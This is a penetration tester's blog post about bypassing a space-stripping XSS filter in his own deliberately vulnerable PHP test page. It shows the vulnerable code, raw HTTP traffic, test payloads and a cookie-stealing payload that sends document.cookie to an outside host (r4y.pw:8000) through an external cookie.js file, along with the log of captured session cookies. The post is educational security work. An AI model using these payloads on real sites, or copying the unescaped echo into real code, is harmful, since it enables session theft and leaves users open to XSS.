Address
304 North Cardinal St.
Dorchester Center, MA 02124
Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM
Address
304 North Cardinal St.
Dorchester Center, MA 02124
Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM
Back to some web applications, I wanted to share an example of XSS without spaces.
Not too long ago, I had a coworker who was running into a few issues with an XSS filter. He knew that he had injection, but the application seemed to be stripping all the spaces from his input.
This was one of the easier filter bypasses that I’ve had to work on, but I figured that it was still worth sharing. I noticed that I didn’t have a post about this bypass yet, and he couldn’t find anything when searching my blog either.
In the end, he could weaponize the injection, and demonstrate cookie theft!
I will be using a slightly modified version of my vulnerable application from my XSS Phishing post.
You can find the code below, and I’ve highlighted the filter that strips the spaces from user input.
<?php
session_start();
$cookie_name = "secret";
$cookie_value = "thisISmy$3cr3t";
setcookie($cookie_name, $cookie_value, time() + (86400 * 30), "/"); // 86400 = 1 day
?>
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" type="text/css" href="resources/style.css">
<title>Vulnerable to XSS Without Spaces</title>
</head>
<body>
<div class="main">
Here is my vulnerable form (value parameter):
<form>
<input type="text" value="<?php echo preg_replace('/\s+/', '', ($_GET['value'])); ?>">
</form>
<script>
console.log("This is my logger function (I'll need this closing script tag later)!");
</script>
<?php include 'footer.php'; ?>
As you can see from the following screenshot, the filter is stripping all the spaces from user input.
For another example, you can see the raw HTTP request that I sent.
GET /noSpaces.php?value=Test%20Parameter%20With%20Spaces HTTP/1.1
Host: 127.0.0.1:8123
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3055.0 Safari/537.36 autochrome/yellow
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Cookie: PHPSESSID=0f0ceab136df688759793bca275eaca7; secret=thisISmy%243cr3t
Connection: close
The response below demonstrates the GET parameter after the application applied the filter.
HTTP/1.1 200 OK
Host: 127.0.0.1:8123
Connection: close
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: secret=thisISmy%243cr3t; expires=Mon, 17-Jun-2019 15:58:40 GMT; Max-Age=2592000; path=/
Content-type: text/html; charset=UTF-8
...
<div class="main">
Here is my vulnerable form (value parameter):
<form>
<input type="text" value="TestParameterWithSpaces">
</form>
<script>
console.log("This is my logger function (I'll need this closing script tag later)!");
</script>
First, we verified injection with a simple test.
http://127.0.0.1:8123/noSpaces.php?value=%22%3E%3Cbr%3E%3Cbr%3E%3Cb%3Etest%3C/b%3E%3Ca=%22
We injected HTML without any problems, so we knew we were on the right track.
Next, we alerted the document.cookie, to verify that XSS was present (and that the cookies weren’t HttpOnly).
With XSS discovered, it was time to weaponize the vulnerability.
Normally at this point, I would use a simple cookie grabber, and consider this finding complete.
http://127.0.0.1:8123/noSpaces.php?value="><script>document.write('<img src="http://r4y.pw:8000/grab.png?cookie=' + document.cookie + '" />')</script><a="
Unfortunately, this did not work due to the filter. The below output demonstrates (roughly) what we got back from the server.
Here is my vulnerable form (value parameter): <form> <input type="text" value=""><script>document.write('<imgsrc="http://r4y.pw:8000/grab.png?cookie='+document.cookie+'"/>')</script><a=""> </form>
I could verify that XSS still worked without spaces with a simple test.
http://127.0.0.1:8123/noSpaces.php?value=%22%3E%3Csvg/onload=alert(1)%3E%3Ca=%22
With all this information, I was able to build our final payload.
First, I injected an external JavaScript file, as I could do that without utilizing spaces. The external JS file contained the cookie stealing code, so the space filter would not break anything there.
The final payload looked like this (hey, I said it was easier).
My cookie.js file was as follows.
document.write('<img src="http://r4y.pw:8000/grab.png?cookie=' + document.cookie + '" />')
When I ran a SimpleHTTPServer on my XSS host, we got the cookies that we wanted!
206.55.101.210 - - [18/May/2019 16:41:46] "GET /grab.png?cookie=PHPSESSID=0f0ceab136df688759793bca275eaca7;%20secret=thisISmy%243cr3t HTTP/1.1" 404 -
I know that this was a shorter XSS post, but it never helps to have a library of different methods handy.
I’m still hoping to finish up my vulnerable XSS application, so be on the lookout for that.
I also have a few more complicated XSS posts in the pipeline, and I’ll get to them when I have time.
Other than that, I’m still buried deep into exploit development, and just finished an awesome training that I will talk about soon!
Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he’s done it all. To show for it, he has obtained an OSCE, OSCP, eCPPT, GXPN, eWPT, eWPTX, SLAE, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!
He currently serves as a Senior Staff Adversarial Engineer for Avalara, and his previous position was a Principal Penetration Testing Consultant for Secureworks.
This page contains links to products that I may receive compensation from at no additional cost to you. View my Affiliate Disclosure page here. As an Amazon Associate, I earn from qualifying purchases.